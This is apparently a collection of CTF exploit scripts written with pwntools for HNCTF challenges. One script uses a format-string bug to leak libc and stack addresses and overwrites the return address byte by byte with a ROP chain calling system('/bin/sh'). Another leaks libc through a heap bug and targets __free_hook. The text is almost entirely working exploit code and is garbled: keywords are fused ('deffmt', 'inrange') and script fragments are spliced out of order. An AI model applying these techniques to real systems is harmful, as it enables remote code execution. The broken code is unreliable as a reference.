deffmt(format): rl("4. 彭仙女") sl('4') rl("Would you choose me if you had to do it all over again?") payload = str(0x79) sl(payload) payload = str(0x65) sl(payload) payload = str(0x1073) sl(payload) rl("How many years will you be with me this time???") sl(format) # gdb.attach(p) fmt('%43$p,%9$p') rl("0x") libc_leak = int(p.recv(12),16) lg("libc_leak",libc_leak) libc_base = libc_leak - 128 - libc.sym['__libc_start_main'] lg("libc_base",libc_base) rl(",0x") stack_leak = int(p.recv(12),16) lg("stack_leak",stack_leak) ret_addr = stack_leak+0xc8 lg("ret_addr",ret_addr) ret_addr = ret_addr-0xa0 pop_rdi = 0x000000000002a3e5 + libc_base binsh = libc_base + next(libc.search(b'/bin/sh')) system = libc_base + libc.sym['system'] ret = 0x0000000000029139+libc_base # lg("pop_rdi",pop_rdi) # lg("binsh",binsh) # lg("system",system) # gdb.attach(p) for i inrange(3): data = (ret>>(8*i))&0xff lg("data",data) payload = '%{}c%8$hhn'.format(data).ljust(0x10, '\x00') + p64(ret_addr+i) fmt(payload) for i inrange(6): data = (pop_rdi>>(8*i))&0xff lg("data",data) payload = '%{}c%8$hhn'.format(data).ljust(0x10, '\x00') + p64(ret_addr+8+i) fmt(payload) for i inrange(6): data = (binsh>>(8*i))&0xff lg("data",data) payload = '%{}c%8$hhn'.format(data).ljust(0x10, '\x00') + p64(ret_addr+16+i) fmt(payload) for i inrange(6): data = (system>>(8*i))&0xff lg("data",data) payload = '%{}c%8$hhn'.format(data).ljust(0x10, '\x00') + p64(ret_addr+24+i) fmt(payload) lg("pop_rdi",pop_rdi) lg("binsh",binsh) lg("system",system) lg("ret_addr",ret_addr)
rl("4. 彭仙女") sl('4') rl("Would you choose me if you had to do it all over again?") payload = str(0x1079) sl(payload) payload = str(0x65) sl(payload) payload = str(0x1073) sl(payload) rl("How many years will you be with me this time???") sl('aaaa')
from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 0 if debug: p = process('./pwn') elf = ELF('./pwn') # p = process('', env={'LD_PRELOAD':'./libc.so'}) # gdb.attach(p) else: p = remote('hnctf.imxbt.cn', 48029) elf = ELF('./pwn') # ----------------------------------------------------------------------- s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) # ----------------------------------------------------------------------- libc = ELF('./libc-2.27.so') defadd(size): rl("Enter your command:") sl('1') rl("size") sl(str(size)) defdelete(): rl("Enter your command:") sl('2')
defshow(index): rl("Enter your command:") sl('3') rl("please enter idx:") sl(str(index)) defedit(index, content): rl("Enter your command:") sl('4') rl("please enter idx:") sl(str(index)) rl("Please enter your content:") sl(content) # gdb.attach(p) for i inrange(9): add(0x80) for i inrange(8): delete() show(1) rl("Content:") libc_leak = uu64() lg("libc_leak", libc_leak) libc_base = libc_leak-0x3ebca0 lg("libc_base",libc_base)
free_hook = libc_base+libc.sym['__free_hook'] system = libc_base+libc.sym['system']